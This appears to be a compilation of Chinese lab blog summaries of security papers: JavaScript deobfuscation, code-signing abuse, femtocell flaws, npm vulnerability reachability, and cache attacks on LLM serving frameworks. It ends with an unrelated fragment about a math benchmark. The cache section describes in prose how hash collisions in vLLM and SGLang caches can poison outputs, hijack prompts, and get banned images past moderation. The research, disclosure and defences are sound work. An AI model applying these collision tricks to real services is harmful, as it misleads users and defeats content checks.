JavaScript作为互联网核心脚本语言的广泛应用,使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为,给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题,我们设计开发了JSIMPLIFIER,一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同,以及基于LLM的智能变量重命名,实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集,实验证明其100%覆盖20种主流混淆技术,达到100%处理成功率和正确率,代码复杂度降低88.2%,可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为,相关研究成果、工具及数据集已开源共享。

4. Windows 代码签名滥用分析

第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》,这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成,导师为段海新教授(清华大学)和应凌云博士(奇安信星图实验室)。其他作者分别为张一铭(清华大学)、张明明(中关村实验室)、刘保君(清华大学)、游子权(清华大学)、张书豪(奇安信星图实验室)。

近年来,软件供应链安全事件频发,为了保护软件真实性与完整性,代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术,旨在确保软件来自真实来源且软件内容未被篡改。然而,攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷,帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略,对于完善相关检测与防御机制至关重要。

在这项工作中,我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件,对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法,我们检测到了 43,286 张滥用证书,构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略,并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

5. 4G LTE 飞基站系统性安全评估

第五篇论文是由清华大学、奇安信技术研究院、CableLabs、Carleton University 及泉城实验室合作完成的关于 4G LTE femtocell 安全风险评估的研究工作。论文题目为 《Small Cell, Big Risk: A Security Assessment of 4G LTE Femtocells in the Wild》。该项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生杨雅儒主导完成,导师为段海新教授(清华大学、泉城实验室)和汤舒俊(奇安信技术研究院)。其他作者分别为张一铭(清华大学)、万涛(CableLabs & Carleton University)、常得量(奇安信技术研究院)、李义申(清华大学)。

近年来,为了提升室内覆盖、降低部署成本并分担宏基站流量,femtocell 作为一种小型、低功耗的运营商基站,被部署于个人家庭等场景。与传统基站不同,femtocell 通常直接接入公共互联网,并在物理与网络层面更容易被攻击者接触。一旦被攻破,femtocell 会以“受信任节点”的身份接入核心网,可能对用户隐私与核心网安全造成严重威胁。

这项工作对真实世界中的 4G LTE femtocell 进行了系统性的安全评估。我们分析了 4 款来自不同厂商的商用 femtocell 设备,从硬件与软件两个层面识别出 5 类可导致本地或远程攻破的共性漏洞。在此基础上,我们在受控实验环境中进一步分析了被攻破 femtocell 对用户侧业务的安全影响,验证了对数据业务、语音通话以及短信服务的威胁,例如用户通信内容的机密性可能在特定场景下面临风险。随后,我们进一步开展了互联网规模测量,基于 IKEv2、TR-069 及管理接口等协议特征,在全球 IPv4 空间中识别出 86,108 个疑似 femtocell 部署实例,其中超过六成为高置信度目标。研究结果表明,femtocell 在真实网络中的暴露程度与安全风险显著,一台被攻破的 femtocell 即可能成为攻击用户与核心网络的重要入口。基于上述发现,我们讨论了其安全影响,并提出了针对设备、部署与标准层面的缓解建议。

=========  我 是 分 割 线  =========

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:https://research.qianxin.com/recruitment/

在大模型(LLM)服务极速发展的当下,效率至关重要。为了降低延迟并控制算力成本,主流推理框架广泛引入了先进的缓存机制。然而,这种追求极致速度的设计是否埋下了安全隐患?

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话,就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀,推理计算的开销急剧上升。为了优化用户体验,vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略,包括前缀缓存(Prefix Cache)、语义缓存(Semantic Cache)和多模态缓存(Multimodal Cache)。

虽然这些机制通过存储中间状态极大地减少了重复计算,但我们的研究发现,现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准,共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同,这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You:首个LLM缓存安全系统性研究

为了揭示这一风险,我们对主流LLM服务框架的缓存实现进行了全面的解构与分析,并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性,能够在不接触模型权重的情况下,通过污染共享缓存来操纵模型输出。

主要发现与攻击向量:

我们将发现的威胁归纳为两大类:一是面向用户的欺诈攻击,即攻击者利用系统渠道向用户传递恶意信息 ,具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ,以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ;二是系统完整性攻击,旨在破坏服务功能或绕过安全审查 ,具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ,以及利用图像处理忽略元数据(如尺寸)缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解:

以多模态为例,其核心漏洞根源在于当前主流推理框架(如vLLM)在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言,vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希,该方法虽然能获取原始像素字节流,但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击,通过重塑图像维度(例如将 H*W的图像变形为W*H)而不改变像素排列顺序,使得原本违规的图片变成一团毫无意义的噪点,从而生成与原图完全一致的哈希值。此外,攻击者还能利用“调色板模式”漏洞,构造出索引数据相同但颜色定义截然相反的图片对(如黑底白字与白底黑字),由于序列化过程仅读取索引而忽略调色板定义,这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中,其为了适配张量数值范围将SHA256哈希值进行了取模截断,导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘,实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测,证实了这些攻击路径的高可用性与低门槛:攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例,我们在30分钟内便成功搜索到碰撞哈希,实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图,成功命中图片之后会复用之前的图片预处理结果,导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞,我们提出了五层防御策略,包括引入随机化哈希(Salting)、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明,上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区,包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy,并分配了 3个 CVE 编号。值得注意的是,vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施(如引入随机盐值、规范化图像序列化等)并完成了修复。(在本文发表时,SGLang也反馈采纳了我们的缓解措施。)

5. 讨论与未来展望

我们的研究再次表明,高性能不应成为忽视底层系统安全的理由。本研究证明,即便模型本身无懈可击,外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石;特别是在云端共享算力场景下,必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作,本研究旨在推动社区正视这一隐蔽威胁,共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

代码仓库:https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读,期待能为您的AI安全研究与工程实践带来启发!

一、引言:软件供应链安全的”狼来了”困境

想象这样一个场景:你是一名开发者,每天打开 CI/CD 系统,迎接你的是数百条安全警报——”检测到依赖包存在高危漏洞,请立即修复!” 但当你花费大量时间逐一排查后却发现,绝大多数警报都是虚惊一场:那些所谓的”漏洞代码” 根本就没有被你的应用调用。这种”警报疲劳”已成为软件供应链安全领域的痛点,也是众多安全检测工具难以实际落地应用的重要原因。

这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室),应凌云博士(奇安信星图实验室)和谷雅聪博士(清华大学)。这项研究针对全球最大的开源软件生态系统——npm(拥有超过 300 万个包,2024 年处理了约 4.5 万亿次请求),提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明传统工具所产生的漏洞警告中,高达 68.28% 都是”噪声”,即漏洞代码实际上根本无法被触达。

二、问题的本质:为什么传统方法会产生如此高的误报?

npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示,约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例,这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞,导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于:依赖存在漏洞的包,不等于你的应用真的受到影响。当前主流的软件成分分析(SCA)工具,如npm audit、GitHub Dependabot等,都采用包级别的分析方法。它们的逻辑很简单:如果你的依赖树中存在包A的v1.0版本,并且包A的v1.0版本存在漏洞,则发出警报提醒你的应用受到影响。 但这种粗粒度分析忽略了三个关键问题:

  1. 未使用的依赖:你的 package.json 声明了依赖,但代码中从未引入(require/import)该包的任何模块;
  2. 浅层的 API 使用:即使引入了包,可能只使用了其中若干个函数,而漏洞函数根本未被调用;
  3. 传递性衰减:通过多层依赖传递时,每一跳的使用范围都在缩小。

理论上,函数级可达性分析是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时,才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战:

  • 首先是可扩展性挑战:传统方法需要为每个项目构建完整的调用图(Call Graph),也包含其所有依赖,对于复杂项目,依赖数量可达数百甚至上千个包。每次分析都要从头开始,计算成本呈指数级增长。
  • 其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区:代码中广泛存在的动态属性访问(利用变量而非字面量调用函数)、将函数作为参数传递的高阶函数机制(回调),以及允许在运行时动态修改对象原型链的特性,都让静态分析器难以在运行前确定具体的调用目标和完整的控制流,从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下:
// 动态属性访问 
obj[propName]();  // propName是变量,静态分析难以确定调用目标  

// 高阶函数 
function process(callback) {    
    callback();  // 不知道传入的是哪个函数
}  

// 原型链动态修改 ,增加了分析的不确定性
Object.prototype.newMethod = function() { ... }; 
  • 最后,JavaScript 语言模块系统的复杂性进一步加剧了分析难度:CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改,以及require()的参数可以是动态表达式 ,这些都进一步加剧了分析难度。

三、VulTracer的核心设计和解决方案

面对这些挑战,我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于:npm包一旦发布就不可变,因此可以为每个包预计算可复用的分析结果。这开启了”分析一次,复用多次”的新范式。

VulTracer 将传统的整体式分析分解为三个独立阶段,核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。

3.1 富语义图生成 (RSG Generation)

首先,VulTracer 利用程序静态分析技术,为每一个包构建了一个富语义图(Rich Semantic Graph, RSG)。这张图不仅看清了包内部的函数调用脉络,更关键的是,它显式地刻画了包的“边界”——哪些函数被暴露给了外部,又有哪些地方调用了外部依赖。传统的调用图(Call Graph)只记录”谁调用了谁”,而RSG设计了一个多层次的图结构,完整保留包的边界信息,图中的实体结构和详细定义如 下图 DEF1 所示,包含了三类不同的顶点集合和边集合。

3.2 接口契约提取 (Interface Contract Extraction)

虽然 RSG 保留了包的全部内部细节,但如何让独立分析的包能够正确”对接”?这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的形式化接口契约(Interface Contract)。这就像是给每个软件模块定义了标准的“插头”和“插座”,契约中清晰地记录了 API 的导出方式(Export Manifold)和导入方式(Import Manifest)。这一步至关重要,它充当了一道“语义防火墙”,屏蔽了复杂的内部实现细节,只保留了交互所需的关键信息。具体的定义如下图DEF2 所示。

3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)

最后,当需要检测某个具体项目时,VulTracer 不再需要深究源代码,而是像拼乐高积木一样,根据依赖关系,将预先计算好的 RSG 和契约进行组合式合成(Compositional Synthesis)形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时,VulTracer 的成功率高达 99.41%,而对比的工具Jelly仅为 37.37%。

四、生态级实证研究:揭示漏洞传播的真相

在这项工作中,我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。

4.1 数据集构建

首先我们构建了两个核心的数据集:

  • npm 生态数据集: 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本 。同时解析并构建了整个生态中超过9亿条的依赖关系。
  • 漏洞数据集:我们采用双维度选择策略,确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞,从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中,找到了影响他们的6个CVE漏洞,每个软件包都有数十万直接依赖包,并且漏洞影响了超过百万的下游软件包。二是多样性维度,对齐 2024 CWE-Top-25 的类型,覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞,代表不同的攻击向量。最终我们的研究涵盖了27个CVE,涉及9,868,514条潜在传播路径

4.2 单跳分析:分析衰减的根本原因

我们首先聚焦于d₁ → d₀的单跳关系,这样可以排除多跳传播的复杂因素,精确归因。在我们的研究中建立了三层漏洞传播条件:仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示:

只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真,才认为漏洞真正传播。最终单跳的分析结果如下表所示。

我们发现平均 22.80% 的直接依赖包声明了依赖,但从未导入任何模块(C_mod失败)。以 lodash 为例:存在 396,112 个声明依赖的包,但是有 131,933个”僵尸依赖” (33.31%)。这13万多个包背上了”有漏洞”的标签,但实际上完全不受影响。同时我们还发现,npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库,拥有242个函数,但漏洞函数 template 只占所有调用的0.30%,排名第49位,详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库,它功能单一专注于调试,其核心功能函数就是其主函数,导致直接依赖者的受影响比例高达 71.77%。

4.3 多跳分析:揭示传递性衰减规律

单跳分析揭示了初始衰减,但漏洞会通过传递依赖传播多远?我们追踪了完整的传播路径。在分析中,我们追踪了9,868,514条潜在传播路径,涉及1,663,634个包版本。 最终不同漏洞的传播结果如下表所示。

在表格数据中, 以 CVE-2022-3517 (minimatch) 为例,数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径,涉及 286,731 个受影响的包版本。然而,经由 VulTracer 的函数级可达性分析,确证受影响的包版本仅为 22,557 个。从全局统计维度来看,函数级分析所识别的受影响库数量平均仅为包级别分析结果的 31.72% 。这一数据统计表明,现有包级别依赖扫描工具产生的警报中,约 68.28% 属于漏洞代码不可达的误报(False Positives)。

最后,在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程,分别从两个不同的视角来进行呈现。图(a)展示了每一跳(Hop)中新增受影响包数量的分布情况。对比显示,函数级别(红色曲线)的传播在 3 跳之后呈现出急剧的衰减趋势,与包级别(蓝色曲线)的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图 (b) 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”:函数级传播曲线迅速收敛并达到平台期,数据显示 96.59% 的真实受影响包均收敛在 4 跳 的范围内。这意味着,尽管依赖图谱可能具有较深的层级结构,但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。

五、结论:从噪声中提取信号

面对日益复杂的开源生态,我们的研究证明,传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中,高达 68.28% 的漏洞代码实际上从未被调用 。换言之,近七成的“受影响”项目其实是安全的,并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”,更导致了严重的警报疲劳,反而掩盖了真正的威胁。因此,转向更细粒度的函数级可达性分析已是行业必经之路。通过 VulTracer,我们可以从噪声中提取出那 30% 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来,更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向 。

一、当恶意代码穿上”隐身衣”:JavaScript混淆的现实威胁

打开一个可疑的JavaScript文件,你可能会看到这样的代码:

这不是乱码,而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码,实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。

JavaScript作为互联网前端和客户端脚本的核心语言,在网页及各类网络应用中被广泛使用,这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性,通过多层、多样化的混淆技术隐藏恶意代码,极大增加了安全分析的难度。

面对这一日益严峻的安全威胁,奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

通过系统性文献调研和样本分析,研究团队将JavaScript混淆技术归纳为四大类共20种技术:词法级混淆(变量重命名、间接属性访问等5种)、语法级混淆(表达式转函数、特殊编码等6种)、语义级混淆(字符串数组、控制流平坦化等7种)和多层混淆(OB混淆、AI辅助混淆2种)。针对这些复杂化的混淆趋势,研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术,将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。

二、现有反混淆工具的三重困境

当前的JavaScript反混淆工具面临着三个核心挑战,这些挑战严重限制了它们在实际安全分析中的应用效果。

输入处理的脆弱性: 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题,导致工具连分析机会都没有。
分析策略的单一性: 静态分析工具无法处理运行时依赖的混淆(如动态代码生成),动态分析工具又难以应对大规模样本和安全风险。更关键的是,现有工具通常只针对特定混淆模式,缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例,这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆,现有工具要么无法处理,要么只能部分解码。
输出可读性的缺失: 即使成功反混淆,输出代码仍充斥着_0x4f2a_0x1b3c等这样的无意义标识符,安全分析师需要花费大量时间才能理解代码逻辑,严重影响威胁响应效率。

三、JSIMPLIFIER的创新设计

针对以上挑战,我们提出了JSIMPLIFIER,一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型(LLM)智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构,每个阶段专门解决一类核心问题,形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。

预处理器:让”坏代码”变”好代码”(Preprocessor)

预处理器是整个系统的基石,负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查,使用容错性强的Meriyah解析器,即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树(AST)。接着进行词法清理,系统性地处理字符编码冲突,比如将过时的八进制转义序列(如\302)转换为标准的十六进制格式(如\xC2),并重建被分割的多字节UTF-8字符。在语义兼容化阶段,系统将遗留的JavaScript构造替换为跨平台等价物,确保在现代JavaScript环境中的兼容性。最后通过结构优化,利用AST作用域链遍历解决声明冲突,将代码重构为严格模式兼容的形式。

反混淆器:静态与动态的完美协作(Deobfuscator)

反混淆器采用混合分析设计,巧妙结合静态AST分析和受控动态执行。

增强的静态AST分析 方面,JSIMPLIFIER配备强化表达式求值引擎,专门处理混淆代码中的复杂构造:对于LogicalExpressions,实现正确的短路求值处理嵌套的&&||链(如False && anything直接返回False);对于ES6解构赋值如[a, b, c] = [getValue(), obj.prop, func.call(this)],JSIMPLIFIER扩展AssignmentExpression处理,解析左侧模式结构并递归遍历嵌套数组模式,将每个元素位置映射到对应的右侧值;对于UnaryExpressions中的环境检测代码如typeof window !== 'undefined',JSIMPLIFIER维护excludedNames白名单(包含window、document、navigator等关键全局变量),避免静态求值破坏环境特定的代码路径。

受控动态执行监控 方面,JSIMPLIFIER首先进行预执行风险评估,扫描危险关键字组合(push、shift、eval、await)识别可能导致无限循环或递归死锁的代码模式,并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的vm.runInNewContext创建隔离执行环境,每个混淆代码段在独立的沙箱VM实例中运行,无法访问文件系统、网络或全局对象,仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制,包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。

混合分析协调技术 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中,当静态分析遇到无法安全求值的CallExpression时(如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用),JSIMPLIFIER的canbetransformed标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中,动态执行结果经过类型感知处理后重新整合到静态AST:简单数据类型直接转换为字面量AST节点,函数结果解析为FunctionExpression节点,复杂对象通过JSON序列化确保安全表示,同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。

人性化器:从机器码到人类语言(Humanizer)

虽然反混淆器成功恢复了程序逻辑,但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面,JSIMPLIFIER可以利用多种LLM模型(GPT、Gemini、本地模型等)进行上下文感知的变量和函数重命名,将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化,集成Prettier格式化工具,确保输出符合行业标准的代码规范,包括一致的缩进、标准化的括号放置和规范的引号使用,最终生成既功能正确又易于理解的高质量代码。

四、最大规模验证与突破性成果

全面的数据集构建

为公正全面地评估工具性能,我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本(平均391.78KB),这些样本来自超过1000万个真实恶意代码中的精选,覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本(平均41.40KB),来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本,远超现有数据集仅包含人工生成样本的局限。

全面的技术覆盖突破

实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中(表II),JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率,远超现有工具。与13种现有方法(包括10种传统工具和3种基于LLM的方案)的对比表明,传统工具在面对复杂语义级混淆时表现不足,而即便是先进的LLM方案也难以处理最复杂的混淆方法。

显著的代码简化效果

在代码简化评估中,JSimplifier在多个维度上展现了卓越的性能。首先,工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化,分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成,显著超越了现有工具。

此外,研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低,代码的结构越清晰、可读性越强。大规模评估显示,JSimplifier在全部44,421个样本上实现了显著的熵值降低(如图2)——无论是AST结构熵(衡量代码语法树的复杂度)还是代码文本熵(衡量文本层面的混乱度)均达到最低中位值,充分证明了工具在真实场景中的有效性。

质的可读性飞跃

为验证代码可读性提升,研究团队采用了多个先进LLM模型(Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3)进行独立评估。这些模型对代码可读性进行0-10分的打分,其中0分代表完全不可读,10分代表极易理解。评估结果如下表所示,JSimplifier实现了平均466.94%的可读性提升,将难以理解的混淆代码(评分1.02-1.81,接近完全不可读)转化为适合安全分析的清晰代码(评分6.21-7.83,达到良好可读性水平)。

此外,研究团队还进行了用户研究,邀请9名不同专业水平的参与者(新手、中级、专家各3名)分析混淆样本。结果表明JSimplifier显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%),主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示,工具显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%)。一位中级参与者评价道:”变量重命名让我能够快速跟踪逻辑流程,我可以在几分钟内识别出可疑的网络调用,而不是在整个分析过程中大海捞针。”

实战验证:破解JSFireTruck的”密码”

JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码,传统工具几乎束手无策。

原始混淆代码(部分):

JSIMPLIFIER反混淆结果:

通过JSIMPLIFIER,安全分析师可以清晰地看到攻击逻辑:检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换,极大提升了威胁分析和响应的效率,展现了工具在真实安全分析场景中的实用价值。

五、结论:从”混乱”到”清晰”的技术突破

JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合,该工具在处理复杂混淆代码方面取得了显著进展。

技术贡献的实际价值主要体现在三个方面:三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题;静态与动态分析的协调机制克服了单一方法的局限性;LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。

实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。

当然,JavaScript混淆技术仍在不断发展,新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作,进一步提升JavaScript安全分析的效率和准确性。

目前,JSimplifier及对应数据集已开源发布,面向安全研究和防护社区共享。未来工作将继续优化工具性能,扩展对更多混淆技术的支持,为脚本安全分析提供更好的技术工具。

项目开源地址:https://github.com/XingTuLab/JSIMPLIFIER

论文链接:https://arxiv.org/abs/2512.14070

大模型的“推理能力”能让机器具备与人类相似的认知和行为能力,能像人一样理解、思考、学习并解决复杂问题。而在众多推理能力评测场景中,数学推理任务是当前衡量和追踪模型推理能力进展的 “黄金标尺”。与此同时,主流数学推理评测体系正面临关键瓶颈:部分顶尖模型在常用的数学推理评测任务中,如 AIME24/25 的正确率已突破 90%,评测区分度大幅下降,难以再有效牵引模型向更高阶推理能力进化;此外,现有基准大多源于公开竞赛题库,存在数据穿越风险。

在此背景下,美团 LongCat 团队发布数学推理评测基准—— AMO-Bench 。该评测集共包含 50 道竞赛专家原创试题, 所有题目均对标甚至超越 IMO 竞赛难度。目前,头部大模型在 AMO-Bench 上的最好表现也尚未及格,SOTA 性能仅为 52.4%,绝大多数模型正确率低于 40%。AMO-Bench 既揭示出当前大语言模型在处理复杂推理任务上的局限性,同时也为模型推理能力的进一步提升树立了新的的标杆。

顶级推理模型在 AMO‑Bench 以及 AIME24/25、HMMT25、MATH500 数学基准测试上的性能

AMO-Bench 的评测榜单将保持更新,欢迎持续关注:

一、评测现状:老题库 “失效”,行业亟需高难度原创基准

现有数学评测 benchmark 因出现严重的性能饱和问题,已无法有效指引头部大语言模型推理能力的进一步提升。一方面,随着 AIME、HMMT 等竞赛题库的公开,模型有可能通过训练数据 “背诵答案”,成绩可信度存疑;另一方面,随着模型的快速迭代升级,现有评测榜单上头部模型的得分趋同,因此逐渐失去鉴别模型能力差异的价值。为进一步提升评测集的难度,已有工作考虑直接使用 IMO 等等有挑战性的竞赛原题对模型进行评测。然而,现有 IMO 题目仍以证明题为主,极度依赖人工批改模型的复杂证明过程,单题批改需 30 分钟以上,评测效率低下且易受主观因素影响。

